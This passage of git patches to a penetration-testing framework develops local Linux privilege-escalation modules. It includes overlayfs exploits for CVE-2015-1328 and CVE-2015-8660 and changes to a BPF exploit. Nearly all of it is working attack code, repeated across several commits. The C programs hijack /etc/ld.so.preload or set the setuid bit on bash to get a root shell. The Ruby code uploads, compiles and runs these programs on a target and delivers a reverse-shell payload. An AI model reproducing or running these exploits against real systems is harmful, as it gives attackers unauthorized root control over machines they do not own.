exit(-1); + } + file = ".access"; + chmod("/tmp/ns_sploit/work/work",0777); + } else file = "ns_last_pid"; + + chdir("/tmp/ns_sploit/o"); + rename(file,"ld.so.preload"); + + chdir("/"); + umount("/tmp/ns_sploit/o"); + fprintf(stderr,"mount #2\n"); + if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { + if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { + exit(-1); + } + chmod("/tmp/ns_sploit/work/work",0777); + } + + chmod("/tmp/ns_sploit/o/ld.so.preload",0777); + umount("/tmp/ns_sploit/o"); + } + + int + main(int argc, char **argv) + { + int status, fd, lib; + pid_t wrapper, init; + int clone_flags = CLONE_NEWNS | SIGCHLD; + + fprintf(stderr,"spawning threads\n"); + + if((wrapper = fork()) == 0) { + if(unshare(CLONE_NEWUSER) != 0) + fprintf(stderr, "failed to create new user namespace\n"); + + if((init = fork()) == 0) { + pid_t pid = + clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); + if(pid < 0) { + fprintf(stderr, "failed to create new mount namespace\n"); + exit(-1); + } + + waitpid(pid, &status, 0); + + } + + waitpid(init, &status, 0); + return 0; + } + + usleep(300000); + + wait(NULL); + + fprintf(stderr,"child threads done\n"); + + fd = open("/etc/ld.so.preload",O_WRONLY); + + if(fd == -1) { + fprintf(stderr,"exploit failed\n"); + exit(-1); + } + + fprintf(stderr,"/etc/ld.so.preload created\n"); + fprintf(stderr,"creating shared library\n"); + lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); + write(lib,LIB,strlen(LIB)); + close(lib); + lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); + if(lib != 0) { + fprintf(stderr,"couldn't create dynamic library\n"); + exit(-1); + } + write(fd,"/tmp/ofs-lib.so\n",16); + close(fd); + system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); + execl("/bin/su","su",NULL); + } + } + + # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size + # Exploit Title: overlayfs local root + # Date: 2016-01-05 + # Exploit Author: rebel + # Version: Ubuntu 14.04 LTS, 15.10 and more + # Tested on: Ubuntu 14.04 LTS, 15.10 + # CVE : CVE-2015-8660 + cve_2015_8660 = %q{ + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + static char child_stack[1024*1024]; + + static int + child_exec(void *stuff) + { + system("rm -rf /tmp/haxhax"); + mkdir("/tmp/haxhax", 0777); + mkdir("/tmp/haxhax/w", 0777); + mkdir("/tmp/haxhax/u",0777); + mkdir("/tmp/haxhax/o",0777); + + if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) { + fprintf(stderr,"mount failed..\n"); + } + + chmod("/tmp/haxhax/w/work",0777); + chdir("/tmp/haxhax/o"); + chmod("bash",04755); + chdir("/"); + umount("/tmp/haxhax/o"); + return 0; + } + + int + main(int argc, char **argv) + { + int status; + pid_t wrapper, init; + int clone_flags = CLONE_NEWNS | SIGCHLD; + struct stat s; + + if((wrapper = fork()) == 0) { + if(unshare(CLONE_NEWUSER) != 0) + fprintf(stderr, "failed to create new user namespace\n"); + + if((init = fork()) == 0) { + pid_t pid = + clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); + if(pid < 0) { + fprintf(stderr, "failed to create new mount namespace\n"); + exit(-1); + } + + waitpid(pid, &status, 0); + + } + + waitpid(init, &status, 0); + return 0; + } + + usleep(300000); + + wait(NULL); + + stat("/tmp/haxhax/u/bash",&s); + + if(s.st_mode == 0x89ed) + execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL); + + fprintf(stderr,"couldn't create suid :(\n"); + return -1; + } + } + + filename = rand_text_alphanumeric(8) + executable_path = "#{datastore['WritableDir']}/#{filename}" + payloadname = rand_text_alphanumeric(8) + payload_path = "#{datastore['WritableDir']}/#{payloadname}" + + def has_prereqs?() + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + else + print_error('gcc is not installed. Compiling will fail.') + end + return gcc.include?('gcc') + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if has_prereqs?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + def upload_and_chmod(fname,fcontent) + print_status "Writing to #{fname} (#{fcontent.size} bytes)" + rm_f fname + write_file(fname, fcontent) + cmd_exec("chmod +x #{fname}") + #register_file_for_cleanup(fname) + end + + def on_new_session(session) + super + if target.name == 'CVE-2015-1328' + session.shell_command("/bin/su") #this doesnt work on meterpreter????? + end + end + + if compile + if target.name == 'CVE-2015-1328' + cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/, + "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);") + upload_and_chmod("#{executable_path}.c", cve_2015_1328) + else + cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/, + "os.execl('#{payload_path}','#{payloadname}')") + upload_and_chmod("#{executable_path}.c", cve_2015_8660) + end + vprint_status("Compiling #{executable_path}.c") + cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile + register_file_for_cleanup(executable_path) + else + if target.name == 'CVE-2015-1328' + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328') + fd = ::File.open( path, "rb") + cve_2015_1328 = fd.read(fd.stat.size) + fd.close + upload_and_chmod(executable_path, cve_2015_1328) + # overwrite with the hardcoded variable names in the compiled versions + payload_filename = 'cjKriIIN' + payload_path = '/tmp/cjKriIIN' + else + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660') + fd = ::File.open( path, "rb") + cve_2015_8660 = fd.read(fd.stat.size) + fd.close + upload_and_chmod(executable_path, cve_2015_8660) + # overwrite with the hardcoded variable names in the compiled versions + payload_filename = '1H0qLaq2' + payload_path = '/tmp/1H0qLaq2' + end + end + + upload_and_chmod(payload_path, generate_payload_exe) + vprint_status('Exploiting...') + output = cmd_exec(executable_path) + output.each_line { |line| vprint_status(line.chomp) } + end +end From 2c4a069e328e74f69996087b9c5be581feb2dc1e Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 9 Oct 2016 09:40:44 -0400 Subject: [PATCH 024/157] prepend fork fix --- modules/exploits/linux/local/bpf_priv_esc.rb | 46 ++------------------ 1 file changed, 4 insertions(+), 42 deletions(-) diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb index ef1d8e6536..6d7d829967 100644 --- a/modules/exploits/linux/local/bpf_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -4,8 +4,6 @@ ## require 'msf/core' -require 'msf/core/exploit/local/linux_kernel' -require 'msf/core/exploit/local/linux' class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking @@ -13,7 +11,6 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper - include Msf::Exploit::Local::Linux def initialize(info={}) super( update_info( info, { @@ -47,6 +44,7 @@ class MetasploitModule < Msf::Exploit::Local 'DefaultOptions' => { 'payload' => 'linux/x64/mettle/reverse_tcp', + 'PrependFork' => true, 'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through }, 'DefaultTarget' => 1, @@ -134,20 +132,6 @@ class MetasploitModule < Msf::Exploit::Local register_file_for_cleanup(file_path) end - doubleput_sc = Metasm::ELF.new(@cpu) - #@include_search_path = ['/usr/include/c++/6'] - #@@include_search_path = ['/usr/include/c++/6'] - #include_search_path = ['/usr/include/c++/6'] - #doubleput_sc.parse %Q| - # #define DEBUGGING - # #define NULL ((void*)0) - # #ifdef __ELF__ - # .section ".bss" rwx - # .section ".text" rwx - # .entrypoint - # #endif - #| - doubleput = %q{ #define _GNU_SOURCE #include @@ -288,33 +272,11 @@ class MetasploitModule < Msf::Exploit::Local sleep(1); } fputs("suid file detected, launching rootshell...\n", stderr); - #execl("./suidhelper", "suidhelper", NULL); - exit(0); + execl("./suidhelper", "suidhelper", NULL); err(1, "execl suidhelper"); } } - cparser.parse(doubleput, 'doubleput.c', path = '/usr/include/c++/6') - # This will give you all the structs and #defines (from all included - # headers) that are actually used by our C code so we can avoid - # needing them at runtime. - puts cparser.factorize - - asm = cpu.new_ccompiler(cparser, doubleput_sc).compile - doubleput_sc.parse asm - doubleput_sc.assemble - - begin - elf = doubleput_sc.encode_string - rescue - print_error "Metasm Encoding failed: #{$!}" - elog "Metasm Encoding failed: #{$!.class} : #{$!}" - elog "Call stack:\n#{$!.backtrace.join("\n")}" - return - end - return - - suid_helper = %q{ #include #include @@ -501,8 +463,8 @@ class MetasploitModule < Msf::Exploit::Local # make our substitutions so things are dynamic suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/, "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable - #doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/, - # 'exit(0);') + doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/, + 'exit(0);') print_status('Writing files to target') cmd_exec("cd #{datastore['WritableDir']}") upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil) From 7e6facd87fbebfc0c2de7c44e7799092640136f0 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 9 Oct 2016 09:49:58 -0400 Subject: [PATCH 025/157] added wrong file --- .../linux/local/overlayfs_priv_esc.rb | 432 ------------------ 1 file changed, 432 deletions(-) delete mode 100644 modules/exploits/linux/local/overlayfs_priv_esc.rb diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb deleted file mode 100644 index b6fb235bae..0000000000 --- a/modules/exploits/linux/local/overlayfs_priv_esc.rb +++ /dev/null @@ -1,432 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require "msf/core" - -class MetasploitModule < Msf::Exploit::Local - Rank = GoodRanking - - include Msf::Post::File - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Linux Kernel 3.19 and 4.33 Overlayfs Privilege Escalation', - 'Description' => %q{ - This module attempts to exploit an overlayfs incorrect permission handling bug on via two CVEs. - CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55 - 3.16.0-25 (14.10 default) < 3.16.0-41 - 3.19.0-18 (15.04 default) < 3.19.0-21 - CVE-2015-8660: - Ubuntu: - 3.19.0-18 < 3.19.0-43 - 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) - Fedora: - < 4.2.8 - Red Hat: - < 3.10.0-327 (rhel 6) - - Linux Kernels from 3.13.0-24 (default) < 3.19.0-20 and <= 4.3.3 through two different methods/CVEs. - - Originally attempted to use metasm, but it was failsauce. - [-] Metasm Encoding failed: ')' expected after Expression[0] got #\"", 3, "", 29, "", 365, "", 393], @value=nil, @raw="?", @type=:punct> near "(" at "" line 393, - included from "" line 365, - included from "" line 29, - included from "\"\"" line 3 - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'h00die ', # Module - 'rebel' # Discovery - ], - 'DisclosureDate' => 'Jun 16 2015', - 'Platform' => [ 'linux'], - 'Arch' => [ ARCH_X86, ARCH_X86_64 ], - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'Targets' => - [ - [ 'CVE-2015-1328', { } ], - [ 'CVE-2015-8660', { } ] - ], - 'DefaultTarget' => 1, - 'References' => - [ - [ 'EDB', '39166'], # CVE-2015-8660 - [ 'EDB', '37292'], # CVE-2015-1328 - [ 'CVE', '2015-1328'], - [ 'CVE', '2015-8660'] - ] - )) - register_options( - [ - OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), - OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) - ], self.class) - end - - def check - def mounts_exist?() - vprint_status('Checking if mount points exist') - if target.name == 'CVE-2015-1328' - if not directory?('/tmp/ns_sploit') - vprint_good('/tmp/ns_sploit not created') - return true - else - print_error('/tmp/ns_sploit directory exists. Please delete.') - return false - end - elsif target.name == 'CVE-2015-8660' - if not directory?('/tmp/haxhax') - vprint_good('/tmp/haxhax not created') - return true - else - print_error('/tmp/haxhax directory exists. Please delete.') - return false - end - end - end - - def kernel_vuln?() - kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) - os_id = cmd_exec('grep ^ID= /etc/os-release') - case os_id - when 'ID=ubuntu' - case kernel.release.to_s - when '3.13.0' - if kernel.beween(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic')) - vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") - return true - else - print_error("Kernel #{kernel} is NOT vulnerable") - return false - end - when '3.16.0' - if kernel.beween(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic')) - vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") - return true - else - print_error("Kernel #{kernel} is NOT vulnerable") - return false - end - when '3.19.0' - if kernel.beween(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic')) - vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") - return true - elsif kernel.beween(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic')) - vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") - return true - else - print_error("Kernel #{kernel} is NOT vulnerable") - return false - end - when '4.2.0' - if kernel.beween(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic')) - vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") - return true - else - print_error("Kernel #{kernel} is NOT vulnerable") - return false - end - else - print_error("Non-vuln kernel #{kernel}") - return false - end - when 'ID=fedora' ????????? - else - print_error("Unknown OS: #{os_id}") - end - end - - if mounts_exist?() && kernel_vuln?() - return CheckCode::Appears - else - return CheckCode::Safe - end - end - - def exploit - - if check != CheckCode::Appears - fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') - end - - - # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size - # Exploit Title: ofs.c - overlayfs local root in ubuntu - # Date: 2015-06-15 - # Exploit Author: rebel - # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) - # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 - # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) - - cve_2015_1328 = %q{ - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - - #define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" - - static char child_stack[1024*1024]; - - static int - child_exec(void *stuff) - { - char *file; - system("rm -rf /tmp/ns_sploit"); - mkdir("/tmp/ns_sploit", 0777); - mkdir("/tmp/ns_sploit/work", 0777); - mkdir("/tmp/ns_sploit/upper",0777); - mkdir("/tmp/ns_sploit/o",0777); - - fprintf(stderr,"mount #1\n"); - if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { - // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower - if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { - fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); - exit(-1); - } - file = ".access"; - chmod("/tmp/ns_sploit/work/work",0777); - } else file = "ns_last_pid"; - - chdir("/tmp/ns_sploit/o"); - rename(file,"ld.so.preload"); - - chdir("/"); - umount("/tmp/ns_sploit/o"); - fprintf(stderr,"mount #2\n"); - if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { - if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { - exit(-1); - } - chmod("/tmp/ns_sploit/work/work",0777); - } - - chmod("/tmp/ns_sploit/o/ld.so.preload",0777); - umount("/tmp/ns_sploit/o"); - } - - int - main(int argc, char **argv) - { - int status, fd, lib; - pid_t wrapper, init; - int clone_flags = CLONE_NEWNS | SIGCHLD; - - fprintf(stderr,"spawning threads\n"); - - if((wrapper = fork()) == 0) { - if(unshare(CLONE_NEWUSER) != 0) - fprintf(stderr, "failed to create new user namespace\n"); - - if((init = fork()) == 0) { - pid_t pid = - clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); - if(pid < 0) { - fprintf(stderr, "failed to create new mount namespace\n"); - exit(-1); - } - - waitpid(pid, &status, 0); - - } - - waitpid(init, &status, 0); - return 0; - } - - usleep(300000); - - wait(NULL); - - fprintf(stderr,"child threads done\n"); - - fd = open("/etc/ld.so.preload",O_WRONLY); - - if(fd == -1) { - fprintf(stderr,"exploit failed\n"); - exit(-1); - } - - fprintf(stderr,"/etc/ld.so.preload created\n"); - fprintf(stderr,"creating shared library\n"); - lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); - write(lib,LIB,strlen(LIB)); - close(lib); - lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); - if(lib != 0) { - fprintf(stderr,"couldn't create dynamic library\n"); - exit(-1); - } - write(fd,"/tmp/ofs-lib.so\n",16); - close(fd); - system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); - execl("/bin/su","su",NULL); - } - } - - # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size - # Exploit Title: overlayfs local root - # Date: 2016-01-05 - # Exploit Author: rebel - # Version: Ubuntu 14.04 LTS, 15.10 and more - # Tested on: Ubuntu 14.04 LTS, 15.10 - # CVE : CVE-2015-8660 - cve_2015_8660 = %q{ - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - - static char child_stack[1024*1024]; - - static int - child_exec(void *stuff) - { - system("rm -rf /tmp/haxhax"); - mkdir("/tmp/haxhax", 0777); - mkdir("/tmp/haxhax/w", 0777); - mkdir("/tmp/haxhax/u",0777); - mkdir("/tmp/haxhax/o",0777); - - if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) { - fprintf(stderr,"mount failed..\n"); - } - - chmod("/tmp/haxhax/w/work",0777); - chdir("/tmp/haxhax/o"); - chmod("bash",04755); - chdir("/"); - umount("/tmp/haxhax/o"); - return 0; - } - - int - main(int argc, char **argv) - { - int status; - pid_t wrapper, init; - int clone_flags = CLONE_NEWNS | SIGCHLD; - struct stat s; - - if((wrapper = fork()) == 0) { - if(unshare(CLONE_NEWUSER) != 0) - fprintf(stderr, "failed to create new user namespace\n"); - - if((init = fork()) == 0) { - pid_t pid = - clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); - if(pid < 0) { - fprintf(stderr, "failed to create new mount namespace\n"); - exit(-1); - } - - waitpid(pid, &status, 0); - - } - - waitpid(init, &status, 0); - return 0; - } - - usleep(300000); - - wait(NULL); - - stat("/tmp/haxhax/u/bash",&s); - - if(s.st_mode == 0x89ed) - execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL); - - fprintf(stderr,"couldn't create suid :(\n"); - return -1; - } - } - - filename = rand_text_alphanumeric(8) - executable_path = "#{datastore['WritableDir']}/#{filename}" - payloadname = rand_text_alphanumeric(8) - payload_path = "#{datastore['WritableDir']}/#{payloadname}" - - def has_prereqs?() - gcc = cmd_exec('which gcc') - if gcc.include?('gcc') - vprint_good('gcc is installed') - else - print_error('gcc is not installed. Compiling will fail.') - end - return gcc.include?('gcc') - end - - compile = false - if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' - if has_prereqs?() - compile = true - vprint_status('Live compiling exploit on system') - else - vprint_status('Dropping pre-compiled exploit on system') - end - end - if check != CheckCode::Appears - fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') - end - - def upload_and_chmod(fname,fcontent) - print_status "Writing to #{fname} (#{fcontent.size} bytes)" - rm_f fname - write_file(fname, fcontent) - cmd_exec("chmod +x #{fname}") - #register_file_for_cleanup(fname) - end - - def on_new_session(session) - super - if target.name == 'CVE-2015-1328' - session.shell_command("/bin/su") #this doesnt work on meterpreter????? - end - end - - if compile - if target.name == 'CVE-2015-1328' - cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/, - "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);") - upload_and_chmod("#{executable_path}.c", cve_2015_1328) - else - cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/, - "os.execl('#{payload_path}','#{payloadname}')") - upload_and_chmod("#{executable_path}.c", cve_2015_8660) - end - vprint_status("Compiling #{executable_path}.c") - cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile - end - - #upload_and_chmod(executable_path, elf) - upload_and_chmod(payload_path, generate_payload_exe) - vprint_status('Exploiting...') - output = cmd_exec(executable_path) - output.each_line { |line| vprint_status(line.chomp) } - #register_file_for_cleanup(executable_path) - end -end From 12493d5c06e412a040ff3bc27f9062efe424c078 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 13 Oct 2016 20:37:03 -0400 Subject: [PATCH 026/157] moved c code to external sources --- external/source/exploits/CVE-2015-1328/1328.c | 112 +++++++++ external/source/exploits/CVE-2015-8660/8660.c | 78 +++++++ .../linux/local/overlayfs_priv_esc.rb | 212 +----------------- 3 files changed, 196 insertions(+), 206 deletions(-) create mode 100644 external/source/exploits/CVE-2015-1328/1328.c create mode 100644 external/source/exploits/CVE-2015-8660/8660.c diff --git a/external/source/exploits/CVE-2015-1328/1328.c b/external/source/exploits/CVE-2015-1328/1328.c new file mode 100644 index 0000000000..ac73c06ed4 --- /dev/null +++ b/external/source/exploits/CVE-2015-1328/1328.c @@ -0,0 +1,112 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" + +static char child_stack[1024*1024]; + +static int +child_exec(void *stuff) +{ + char *file; + system("rm -rf /tmp/ns_sploit"); + mkdir("/tmp/ns_sploit", 0777); + mkdir("/tmp/ns_sploit/work", 0777); + mkdir("/tmp/ns_sploit/upper",0777); + mkdir("/tmp/ns_sploit/o",0777); + + fprintf(stderr,"mount #1\n"); + if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { +// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower + if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { + fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); + exit(-1); + } + file = ".access"; + chmod("/tmp/ns_sploit/work/work",0777); + } else file = "ns_last_pid"; + + chdir("/tmp/ns_sploit/o"); + rename(file,"ld.so.preload"); + + chdir("/"); + umount("/tmp/ns_sploit/o"); + fprintf(stderr,"mount #2\n"); + if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { + if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { + exit(-1); + } + chmod("/tmp/ns_sploit/work/work",0777); + } + + chmod("/tmp/ns_sploit/o/ld.so.preload",0777); + umount("/tmp/ns_sploit/o"); +} + +int +main(int argc, char **argv) +{ + int status, fd, lib; + pid_t wrapper, init; + int clone_flags = CLONE_NEWNS | SIGCHLD; + + fprintf(stderr,"spawning threads\n"); + + if((wrapper = fork()) == 0) { + if(unshare(CLONE_NEWUSER) != 0) + fprintf(stderr, "failed to create new user namespace\n"); + + if((init = fork()) == 0) { + pid_t pid = + clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); + if(pid < 0) { + fprintf(stderr, "failed to create new mount namespace\n"); + exit(-1); + } + + waitpid(pid, &status, 0); + + } + + waitpid(init, &status, 0); + return 0; + } + + usleep(300000); + + wait(NULL); + + fprintf(stderr,"child threads done\n"); + + fd = open("/etc/ld.so.preload",O_WRONLY); + + if(fd == -1) { + fprintf(stderr,"exploit failed\n"); + exit(-1); + } + + fprintf(stderr,"/etc/ld.so.preload created\n"); + fprintf(stderr,"creating shared library\n"); + lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); + write(lib,LIB,strlen(LIB)); + close(lib); + lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); + if(lib != 0) { + fprintf(stderr,"couldn't create dynamic library\n"); + exit(-1); + } + write(fd,"/tmp/ofs-lib.so\n",16); + close(fd); + system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); + execl("/bin/su","su",NULL); +} + diff --git a/external/source/exploits/CVE-2015-8660/8660.c b/external/source/exploits/CVE-2015-8660/8660.c new file mode 100644 index 0000000000..432368a108 --- /dev/null +++ b/external/source/exploits/CVE-2015-8660/8660.c @@ -0,0 +1,78 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static char child_stack[1024*1024]; + +static int +child_exec(void *stuff) +{ + system("rm -rf /tmp/haxhax"); + mkdir("/tmp/haxhax", 0777); + mkdir("/tmp/haxhax/w", 0777); + mkdir("/tmp/haxhax/u",0777); + mkdir("/tmp/haxhax/o",0777); + + if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) { + fprintf(stderr,"mount failed..\n"); + } + + chmod("/tmp/haxhax/w/work",0777); + chdir("/tmp/haxhax/o"); + chmod("bash",04755); + chdir("/"); + umount("/tmp/haxhax/o"); + return 0; +} + +int +main(int argc, char **argv) +{ + int status; + pid_t wrapper, init; + int clone_flags = CLONE_NEWNS | SIGCHLD; + struct stat s; + + if((wrapper = fork()) == 0) { + if(unshare(CLONE_NEWUSER) != 0) + fprintf(stderr, "failed to create new user namespace\n"); + + if((init = fork()) == 0) { + pid_t pid = + clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); + if(pid < 0) { + fprintf(stderr, "failed to create new mount namespace\n"); + exit(-1); + } + + waitpid(pid, &status, 0); + + } + + waitpid(init, &status, 0); + return 0; + } + + usleep(300000); + + wait(NULL); + + stat("/tmp/haxhax/u/bash",&s); + + if(s.st_mode == 0x89ed) + execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL); + + fprintf(stderr,"couldn't create suid :(\n"); + return -1; +} diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb index 73c973009d..50aec4c029 100644 --- a/modules/exploits/linux/local/overlayfs_priv_esc.rb +++ b/modules/exploits/linux/local/overlayfs_priv_esc.rb @@ -163,214 +163,14 @@ class MetasploitModule < Msf::Exploit::Local # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size - # Exploit Title: ofs.c - overlayfs local root in ubuntu - # Date: 2015-06-15 - # Exploit Author: rebel - # Version: Ubuntu 12.04, 14.04, 14.10, 